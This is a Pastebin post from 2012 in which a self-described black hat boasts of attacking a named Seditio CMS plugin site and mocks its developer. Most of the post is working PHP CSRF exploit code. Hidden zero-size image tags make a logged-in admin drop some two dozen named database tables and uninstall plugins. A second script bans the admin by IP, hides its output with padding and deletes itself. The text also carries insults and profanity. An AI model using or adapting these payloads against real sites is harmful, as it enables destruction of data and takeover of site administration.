API tools faq
paste
Advertisement
Guest User

seditio-eklenti.com PwnEd To Fuck

a guest
Jun 1st, 2012
353
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.84 KB | None | 0 0
raw download clone embed print report
  1. I noticed that noob Kaan (unofficial seditio CMS "developer" from seditio-eklenti.com) always abuses my 0day's.
  2. This guy completely n00b.
  3. See this picture and you will understand.(See especially how this noob uses htmlspecialchars()) xD)
  4.  
  5. http://s019.radikal.ru/i616/1206/47/cacfcceac4d8.png
  6.  
  7. Doing that this guy thinks he fixed vulns lol
  8. Do you know what is funny?))
  9. This guy just adds @$var (aka suppress) and thinks sql injection fixed )))))) Bohaha)))
  10.  
  11. I thought it's really right time to Pwn this guy.Theris no place for noobs like Kaan.
  12.  
  13. And somehow his database tables dropped)) Any backups noob?
  14.  
  15. What do you think now? It isn't vuln?:)))
  16. http://packetstormsecurity.org/files/111684/Seditio-165-Cross-Site-Request-Forgery-Backup-Disclosure.html
  17.  
  18. or this one:
  19. http://packetstormsecurity.org/files/111878/Seditio-165-SQL-Injection-Denial-Of-Service.html
  20.  
  21. (Baby i'm using it for extract passwords in blind manner.Dut it is not for scriptkiddies)
  22.  
  23.  
  24.  
  25. Sended payload to this guy:
  26. http://s004.radikal.ru/i208/1206/66/10557bb66505.png
  27.  
  28.  
  29. <?php
  30. error_reporting('off');
  31. echo '
  32. <img src="http://seditio-eklenti.com//admin.php?m=dbtools&a=drop&table=sed_forum_posts" width="0" height="0"></img>
  33. <img src="http://seditio-eklenti.com//admin.php?m=dbtools&a=drop&table=sed_forum_sections" width="0" height="0"></img>
  34. <img src="http://seditio-eklenti.com//admin.php?m=dbtools&a=drop&table=sed_forum_structure" width="0" height="0"></img>
  35. <img src="http://seditio-eklenti.com//admin.php?m=dbtools&a=drop&table=sed_forum_topics" width="0" height="0"></img>
  36. <img src="http://seditio-eklenti.com//admin.php?m=dbtools&a=drop&table=sed_logger" width="0" height="0"></img>
  37. <img src="http://seditio-eklenti.com//admin.php?m=dbtools&a=drop&table=sed_pages" width="0" height="0"></img>
  38. <img src="http://seditio-eklenti.com//admin.php?m=dbtools&a=drop&table=sed_pfs_folders" width="0" height="0"></img>
  39. <img src="http://seditio-eklenti.com//admin.php?m=dbtools&a=drop&table=sed_pm" width="0" height="0"></img>
  40. <img src="http://seditio-eklenti.com//admin.php?m=dbtools&a=drop&table=sed_polls" width="0" height="0"></img>
  41. <img src="http://seditio-eklenti.com//admin.php?m=dbtools&a=drop&table=sed_polls_options" width="0" height="0"></img>
  42. <img src="http://seditio-eklenti.com//admin.php?m=dbtools&a=drop&table=sed_polls_voters" width="0" height="0"></img>
  43. <img src="http://seditio-eklenti.com//admin.php?m=dbtools&a=drop&table=sed_redirecter" width="0" height="0"></img>
  44. <img src="http://seditio-eklenti.com//admin.php?m=dbtools&a=drop&table=sed_trash" width="0" height="0"></img>
  45. <img src="http://seditio-eklenti.com//admin.php?m=dbtools&a=drop&table=sed_referers" width="0" height="0"></img>
  46. <img src="http://seditio-eklenti.com//admin.php?m=dbtools&a=drop&table=sed_auth" width="0" height="0"></img>
  47. <img src="http://seditio-eklenti.com//admin.php?m=dbtools&a=drop&table=sed_banlist" width="0" height="0"></img>
  48. <img src="http://seditio-eklenti.com//admin.php?m=dbtools&a=drop&table=sed_com" width="0" height="0"></img>
  49. <img src="http://seditio-eklenti.com//admin.php?m=dbtools&a=drop&table=sed_plugins" width="0" height="0"></img>
  50. <img src="http://seditio-eklenti.com//admin.php?m=dbtools&a=drop&table=sed_users" width="0" height="0"></img>
  51. <img src="http://seditio-eklenti.com//admin.php?m=dbtools&a=drop&table=sed_online" width="0" height="0"></img>
  52. <img src="http://seditio-eklenti.com//admin.php?m=dbtools&a=drop&table=sed_config" width="0" height="0"></img>
  53. <img src="http://seditio-eklenti.com//admin.php?m=dbtools&a=drop&table=sed_core" width="0" height="0"></img>
  54. <img src="http://seditio-eklenti.com//admin.php?m=dbtools&a=drop&table=sed_groups_users" width="0" height="0"></img>
  55. <img src="http://seditio-eklenti.com//admin.php?m=dbtools&a=drop&table=sed_cache" width="0" height="0"></img>
  56. <img src="http://seditio-eklenti.com/admin.php?m=plug&a=edit&pl=Highslide_iResizer&b=uninstall" />
  57. <img src="http://seditio-eklenti.com/admin.php?m=plug&a=edit&pl=adminqv&b=uninstall" />
  58. <img src="http://seditio-eklenti.com/admin.php?m=plug&a=edit&pl=cleaner&b=uninstall" />
  59. <img src="http://seditio-eklenti.com/admin.php?m=plug&a=edit&pl=contact&b=uninstall" />
  60. <img src="http://seditio-eklenti.com/admin.php?m=plug&a=edit&pl=forumstats&b=uninstall" />
  61. <img src="http://seditio-eklenti.com/admin.php?m=plug&a=edit&pl=gallery&b=uninstall" />
  62. <img src="http://seditio-eklenti.com/admin.php?m=plug&a=edit&pl=ipsearch&b=uninstall" />
  63. <img src="http://seditio-eklenti.com/admin.php?m=plug&a=edit&pl=massmovetopics&b=uninstall" />
  64. <img src="http://seditio-eklenti.com/admin.php?m=plug&a=edit&pl=news&b=uninstall" />
  65. <img src="http://seditio-eklenti.com/admin.php?m=plug&a=edit&pl=passrecover&b=uninstall" />
  66. <img src="http://seditio-eklenti.com/admin.php?m=plug&a=edit&pl=recentitems&b=uninstall" />
  67. <img src="http://seditio-eklenti.com/admin.php?m=plug&a=edit&pl=search&b=uninstall" />
  68. <img src="http://seditio-eklenti.com/admin.php?m=plug&a=edit&pl=skineditor&b=uninstall" />
  69. <img src="http://seditio-eklenti.com/admin.php?m=plug&a=edit&pl=statistics&b=uninstall" />
  70. <img src="http://seditio-eklenti.com/admin.php?m=plug&a=edit&pl=textboxer2&b=uninstall" />
  71. <img src="http://seditio-eklenti.com/admin.php?m=plug&a=edit&pl=dbtools&b=uninstall" />
  72. <img src="http://seditio-eklenti.com/admin.php?m=plug&a=edit&pl=pmoku&b=uninstall" />
  73. <img src="http://seditio-eklenti.com/admin.php?m=plug&a=edit&pl=modcp&b=uninstall" />
  74. <img src="http://seditio-eklenti.com/admin.php?m=plug&a=edit&pl=guestbook&b=uninstall" />
  75. <img src="http://seditio-eklenti.com/admin.php?m=plug&a=edit&pl=pmblocker_se&b=uninstall" />
  76. ';
  77.  
  78.  
  79. /*
  80. Ban Admin CSRF exploit
  81. 4 Fun
  82. tested under seditio 165.x from seditio-eklenti.com/ seditio-build170.20120302 from neocrome.net
  83.  
  84. OS: Windows XP SP2 (32 bit)
  85. Apache: 2.2.21.0
  86. PHP Version: 5.2.17.17
  87. mysql> select version()
  88. -> ;
  89. +-----------+
  90. | version() |
  91. +-----------+
  92. | 5.5.21 |
  93. +-----------+
  94.  
  95. */
  96.  
  97. $site='http://seditio-eklenti.com';// define your target site here.
  98.  
  99. $funmsg='While you sit here I\'m banning you) Meh MeH MeH :D';// Your message here
  100.  
  101. die(str_repeat(PHP_EOL,300) .'<img src="' . $site . '/users.php?m=quickban&uid=1&ip=' . htmlentities($_SERVER['REMOTE_ADDR'])
  102. . '&a=confirmed" width="0" height="0" />'. PHP_EOL .
  103.  
  104. '<img src="' . $site . '/plug.php?e=sfquickban&uid=1&ip=' . htmlentities($_SERVER['REMOTE_ADDR'])
  105. . '&a=confirmed" width="0" height="0" />' .
  106. '<h1>' . strrev($funmsg) . '</h1>');
  107.  
  108.  
  109.  
  110. unlink(__FILE__);
  111.  
  112. ?>
  113.  
  114.  
  115.  
  116.  
  117. And obviously database tables dropped:
  118. http://s019.radikal.ru/i623/1206/61/8a6bc9a41003.png
  119.  
  120.  
  121.  
  122. @2 ALL NORMAL peoples: ****Do not use any SHIT from seditio-eklenti.com*****
  123. Otherwise you will be Pwned ASAP.
  124.  
  125.  
  126.  
  127.  
  128. P.S Gotune qoyaram o kesin ki,arxamca artiq eksik nese danissin!
  129. Gelirem o biri arxamca palaskat eden varyoxsauzlarin varini yoxunu sikmeye!
  130.  
  131. /AkaStep
  132. Respect to All Black HatZ and to all brothers!
  133.  
  134.  
  135. 1338581128
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!